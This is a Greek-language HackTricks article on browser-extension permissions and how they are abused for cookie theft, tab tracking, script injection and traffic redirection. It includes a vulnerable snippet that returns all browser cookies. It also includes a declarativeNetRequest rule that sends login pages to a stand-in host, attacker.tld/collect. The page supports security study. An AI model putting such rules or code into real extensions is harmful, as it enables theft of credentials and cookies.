BrowExt - permissions & host_permissions
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
permissions
Οι άδειες ορίζονται στο αρχείο επέκτασης manifest.json χρησιμοποιώντας την ιδιότητα permissions και επιτρέπουν πρόσβαση σχεδόν σε οτιδήποτε μπορεί να προσπελάσει ένας browser (Cookies ή Physical Storage):
Το προηγούμενο manifest δηλώνει ότι η επέκταση απαιτεί την άδεια storage. Αυτό σημαίνει ότι μπορεί να χρησιμοποιήσει the storage API για να αποθηκεύει τα δεδομένα της μόνιμα. Σε αντίθεση με τα cookies ή τα localStorage APIs που δίνουν στους χρήστες κάποιο επίπεδο ελέγχου, η αποθήκευση της επέκτασης συνήθως μπορεί να διαγραφεί μόνο με την απεγκατάσταση της επέκτασης.
Μια επέκταση θα ζητήσει τις άδειες που υποδεικνύονται στο manifest.json αρχείο της και μετά την εγκατάσταση της επέκτασης, μπορείτε πάντα να ελέγξετε τις άδειές της στο browser σας, όπως φαίνεται στην εικόνα:
.png)
Μπορείτε να βρείτε τη complete list of permissions a Chromium Browser Extension can request here και μια complete list for Firefox extensions here.
host_permissions
Η προαιρετική αλλά ισχυρή ρύθμιση host_permissions υποδεικνύει με ποιους hosts θα μπορεί να αλληλεπιδράσει η επέκταση μέσω apis όπως cookies, webRequest, και tabs.
Τα ακόλουθα host_permissions ουσιαστικά επιτρέπουν πρόσβαση σε κάθε web:
"host_permissions": [
"*://*/*"
]
// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]
// Or:
"host_permissions": [
"<all_urls>"
]
Αυτοί είναι οι hosts που μπορεί να προσπελάσει ελεύθερα η επέκταση περιηγητή. Αυτό συμβαίνει επειδή όταν μια επέκταση καλεί fetch("https://gmail.com/") δεν περιορίζεται από CORS.
Κατάχρηση permissions και host_permissions
Cookies
Η άδεια cookies επιτρέπει στην επέκταση να προσπελάσει όλα τα cookies του περιηγητή. Στο this blog post αυτή η άδεια κακοποιήθηκε μέσω ενός ευάλωτου background script, με αποτέλεσμα η επέκταση να δώσει στον επιτιθέμενο όλα τα cookies του περιηγητή του θύματος που επισκέφτηκε την κακόβουλη σελίδα. Ο ευάλωτος κώδικας απλώς επέστρεφε όλα τα cookies:
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);
Κάρτες
Επιπλέον, host_permissions ξεκλειδώνουν επίσης την «προχωρημένη» λειτουργικότητα του tabs API. Επιτρέπουν στην επέκταση να καλεί tabs.query() και να μην περιορίζεται απλώς στο να λαμβάνει μια λίστα με τις καρτέλες του browser του χρήστη, αλλά και να μάθει ποια ιστοσελίδα (δηλαδή διεύθυνση και τίτλος) φορτώνεται.
Caution
Όχι μόνο αυτό, listeners όπως το tabs.onUpdated γίνονται πολύ πιο χρήσιμοι επίσης. Αυτοί θα ειδοποιούνται κάθε φορά που μια νέα σελίδα φορτώνει σε μια καρτέλα.
Εκτέλεση content scripts
Τα content scripts δεν είναι απαραίτητο να είναι γραμμένα στατικά στο manifest της επέκτασης. Με επαρκή host_permissions, οι επεκτάσεις μπορούν επίσης να τα φορτώνουν δυναμικά καλώντας tabs.executeScript() ή scripting.executeScript().
Και τα δύο APIs επιτρέπουν την εκτέλεση όχι μόνο αρχείων που περιέχονται στην επέκταση ως content scripts αλλά και arbitrary code. Το πρώτο επιτρέπει την παροχή JavaScript κώδικα ως string ενώ το δεύτερο περιμένει μια JavaScript function που είναι λιγότερο επιρρεπής σε injection vulnerabilities. Παρ’ όλα αυτά, και τα δύο APIs μπορούν να προκαλέσουν σημαντική ζημιά αν χρησιμοποιηθούν κακόβουλα.
Caution
Επιπλέον των παραπάνω δυνατοτήτων, τα content scripts μπορούν για παράδειγμα να αναχαιτίσουν διαπιστευτήρια καθώς αυτά πληκτρολογούνται σε σελίδες. Ένας άλλος κλασικός τρόπος κατάχρησης είναι η εισαγωγή διαφήμισης σε κάθε ιστοσελίδα. Η προσθήκη απατηλών μηνυμάτων για να εκμεταλλευτούν την αξιοπιστία ειδησεογραφικών sites είναι επίσης δυνατή. Τέλος, μπορούν να παραποιήσουν τραπεζικές ιστοσελίδες για να επαναδρομολογήσουν μεταφορές χρημάτων.
Έμμεσες προνομίες
Κάποια προνόμια επεκτάσεων δεν χρειάζεται να δηλωθούν ρητά. Ένα παράδειγμα είναι το tabs API: η βασική του λειτουργικότητα είναι προσβάσιμη χωρίς κανένα permission. Κάθε επέκταση μπορεί να ειδοποιείται όταν ανοίγετε ή κλείνετε καρτέλες, απλώς δεν θα γνωρίζει σε ποιες ιστοσελίδες αντιστοιχούν αυτές οι καρτέλες.
Ακούγεται πολύ αβλαβές; Το tabs.create() API είναι κάπως λιγότερο. Μπορεί να χρησιμοποιηθεί για να δημιουργήσει μια νέα καρτέλα, ουσιαστικά το ίδιο με το window.open() που μπορεί να κληθεί από οποιαδήποτε ιστοσελίδα. Ωστόσο ενώ window.open() υπόκειται στον pop-up blocker, το tabs.create() δεν υπόκειται.
Caution
Μια επέκταση μπορεί να δημιουργήσει όσα tabs θέλει, όποτε θέλει.
Αν κοιτάξετε τις πιθανές παραμέτρους του tabs.create(), θα παρατηρήσετε επίσης ότι οι δυνατότητές του ξεπερνούν κατά πολύ ό,τι επιτρέπεται να ελέγχει το window.open(). Και ενώ ο Firefox δεν επιτρέπει τη χρήση data: URIs με αυτό το API, ο Chrome δεν έχει αυτή την προστασία. Η χρήση τέτοιων URIs στο top level έχει απαγορευτεί λόγω κατάχρησης για phishing.
tabs.update() είναι πολύ παρόμοιο με το tabs.create() αλλά θα τροποποιήσει μια υπάρχουσα καρτέλα. Έτσι μια κακόβουλη επέκταση μπορεί για παράδειγμα αυθαίρετα να φορτώσει μια διαφημιστική σελίδα σε μία από τις καρτέλες σας, και μπορεί επίσης να ενεργοποιήσει την αντίστοιχη καρτέλα.
Webcam, geolocation και άλλα
Πιθανότατα ξέρετε ότι οι ιστοσελίδες μπορούν να ζητήσουν ειδικές άδειες, π.χ. για να έχουν πρόσβαση στην webcam σας (video conferencing tools) ή στη γεωγραφική σας θέση (χάρτες). Είναι λειτουργίες με σημαντικό δυναμικό κατάχρησης, γι’ αυτό κάθε φορά οι χρήστες πρέπει να επιβεβαιώνουν ότι θέλουν να το επιτρέψουν.
Caution
Στις browser extensions αυτό δεν ισχύει. Αν μια browser extension θέλει πρόσβαση στην webcam ή το μικρόφωνό σας, χρειάζεται να ζητήσει άδεια μόνο μία φορά
Συνήθως, μια επέκταση θα το κάνει αμέσως μετά την εγκατάσταση. Μόλις γίνει αποδοχή αυτής της προτροπής, η πρόσβαση στην webcam είναι δυνατή οποιαδήποτε στιγμή, ακόμα και αν ο χρήστης δεν αλληλεπιδρά εκείνη τη στιγμή με την επέκταση. Ναι, ένας χρήστης θα δεχτεί αυτή την προτροπή μόνο αν η επέκταση χρειάζεται πραγματικά πρόσβαση στην webcam. Αλλά μετά από αυτό πρέπει να εμπιστευτεί την επέκταση ότι δεν θα καταγράψει τίποτε κρυφά.
Με πρόσβαση στην ακριβή γεωγραφική σας θέση ή στο περιεχόμενο του clipboard σας, η ρητή χορήγηση άδειας δεν είναι καθόλου απαραίτητη. Μια επέκταση απλά προσθέτει geolocation ή clipboard στην permissions entry του manifest της. Αυτά τα προνόμια πρόσβασης χορηγούνται στη συνέχεια έμμεσα όταν η επέκταση εγκαθίσταται. Έτσι μια κακόβουλη ή παραβιασμένη επέκταση με αυτά τα προνόμια μπορεί να δημιουργήσει το προφίλ κινήσεών σας ή να παρακολουθεί το clipboard για αντιγραμμένους κωδικούς χωρίς να παρατηρήσετε τίποτα.
Η προσθήκη της λέξης-κλειδί history στην permissions entry του manifest της επέκτασης χορηγεί πρόσβαση στο history API. Επιτρέπει την ανάκτηση του πλήρους ιστορικού περιήγησης του χρήστη μονομιάς, χωρίς να χρειαστεί ο χρήστης να επισκεφτεί ξανά τις ιστοσελίδες αυτές.
Η άδεια bookmarks έχει παρόμοιο δυναμικό κατάχρησης — αυτή επιτρέπει την ανάγνωση όλων των σελιδοδεικτών μέσω του bookmarks API.
Άδεια αποθήκευσης
Η αποθήκευση της επέκτασης είναι απλώς μια συλλογή key-value, πολύ παρόμοια με το localStorage που οποιαδήποτε ιστοσελίδα θα μπορούσε να χρησιμοποιήσει. Έτσι δεν πρέπει να αποθηκεύεται εδώ ευαίσθητη πληροφορία.
Ωστόσο, εταιρείες διαφήμισης θα μπορούσαν επίσης να καταχραστούν αυτή την αποθήκευση.
Περισσότερες άδειες
Το Manifest V3 διαχώρισε την πρόσβαση σε σελίδες από τα API permissions: τα permissions εξακολουθούν να ρυθμίζουν τα προνομιακά APIs (cookies, tabs, history, scripting, κ.λπ.) ενώ τα host_permissions ελέγχουν ποιες origins μπορούν να αγγίξουν αυτά τα APIs. Το MV3 έκανε επίσης τα host permissions εφικτά κατά το runtime, έτσι οι επεκτάσεις μπορούν να διανέμονται χωρίς κανένα και να εμφανίζουν προτροπή συγκατάθεσης αργότερα μέσω του chrome.permissions.request() — βολικό για νόμιμες ροές least‑privilege, αλλά και κατάχρηση από malware για κλιμάκωση μετά την εγκαθίδρυση φήμης.
Μια stealth παραλλαγή είναι η declarativeNetRequestWithHostAccess (Chrome ≥96). Παρέχει την ίδια ικανότητα μπλοκαρίσματος/redirect αιτημάτων όπως το declarativeNetRequest αλλά δείχνει μια πιο αδύναμη προτροπή εγκατάστασης σε σχέση με τα <all_urls> host permissions. Κακόβουλες επεκτάσεις τη χρησιμοποιούν για να αποκτήσουν αθόρυβα τη δυνατότητα “block/redirect on any site”; ελέγξτε τις προτροπές με chrome://extensions/?errors και chrome://extensions/?id=<id>.
Οι dynamic rules του declarativeNetRequest επιτρέπουν σε μια επέκταση να επαναπρογραμματίσει την πολιτική δικτύου σε runtime. Με host access <all_urls> ένας επιτιθέμενος μπορεί να το οπλοποιήσει για να υποκλέψει την κίνηση ή για data exfil. Παράδειγμα:
chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});
Chrome αύξησε τα όρια κανόνων MV3 (≈330k static / 30k dynamic), οπότε μεγάλα σύνολα κάλυψης είναι εφικτά για παρεμβολές/ένεση διαφημίσεων.
Recent abuse patterns
- Supply-chain trojanized updates: Κλεμμένοι λογαριασμοί developer προωθούν ενημερώσεις MV3 που προσθέτουν
<all_urls>μαζί μεdeclarativeNetRequest/scripting/webRequestγια να εγχύσουν remote JS και να απορροφήσουν headers/περιεχόμενο DOM. - Wallet drains: Πρόσβαση σε host μαζί με
storageκαιtabsεπιτρέπει σε backdoored wallet extensions να εξάγουν seeds· κλεμμένα Web Store API keys έχουν χρησιμοποιηθεί για τη διανομή κακόβουλων builds. - Cookie theft: Οποιαδήποτε extension με
cookies+ ευρεία host πρόσβαση μπορεί να διαβάσει auth cookies παρά τοHttpOnly— θεωρήστε αυτόν τον συνδυασμό ικανό για κλοπή credentials.
Prevention
Η πολιτική των Google developers απαγορεύει ρητά στις επεκτάσεις να ζητούν περισσότερα δικαιώματα από όσα είναι απαραίτητα για τη λειτουργία τους, μειώνοντας έτσι ουσιαστικά τα υπερβολικά αιτήματα permissions. Ένα περιστατικό όπου μια browser extension υπερέβη αυτό το όριο αφορούσε τη διανομή της μαζί με το πρόγραμμα περιήγησης αντί μέσω ενός κατάστηματος επεκτάσεων.
Τα προγράμματα περιήγησης θα μπορούσαν να περιορίσουν περαιτέρω την κατάχρηση των δικαιωμάτων επεκτάσεων. Για παράδειγμα, τα Chrome tabCapture και desktopCapture APIs, που χρησιμοποιούνται για εγγραφή οθόνης, έχουν σχεδιαστεί για να ελαχιστοποιούν την κατάχρηση. Το tabCapture API μπορεί να ενεργοποιηθεί μόνο μέσω άμεσης αλληλεπίδρασης του χρήστη, όπως το κλικ στο εικονίδιο της επέκτασης, ενώ το desktopCapture απαιτεί επιβεβαίωση του χρήστη για το παράθυρο που θα καταγραφεί, αποτρέποντας κρυφές εγγραφές.
Ωστόσο, η σκλήρυνση των μέτρων ασφαλείας συχνά οδηγεί σε μειωμένη ευελιξία και φιλικότητα προς τον χρήστη των επεκτάσεων. Η activeTab permission απεικονίζει αυτό το συμβιβασμό. Εισήχθη για να εξαλειφθεί η ανάγκη οι επεκτάσεις να ζητούν host privileges σε ολόκληρο το internet, επιτρέποντας στις επεκτάσεις να έχουν πρόσβαση μόνο στο τρέχον tab μετά από ρητή ενεργοποίηση από τον χρήστη. Αυτό το μοντέλο είναι αποτελεσματικό για επεκτάσεις που απαιτούν ενέργειες με πρωτοβουλία του χρήστη αλλά αποτυγχάνει για εκείνες που χρειάζονται αυτόματες ή προληπτικές ενέργειες, θυσιάζοντας έτσι την ευκολία και την άμεση ανταπόκριση.
References
- https://palant.info/2022/08/17/impact-of-extension-privileges/
- https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing
- https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/
- https://developer.chrome.com/blog/resuming-the-transition-to-mv3/
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


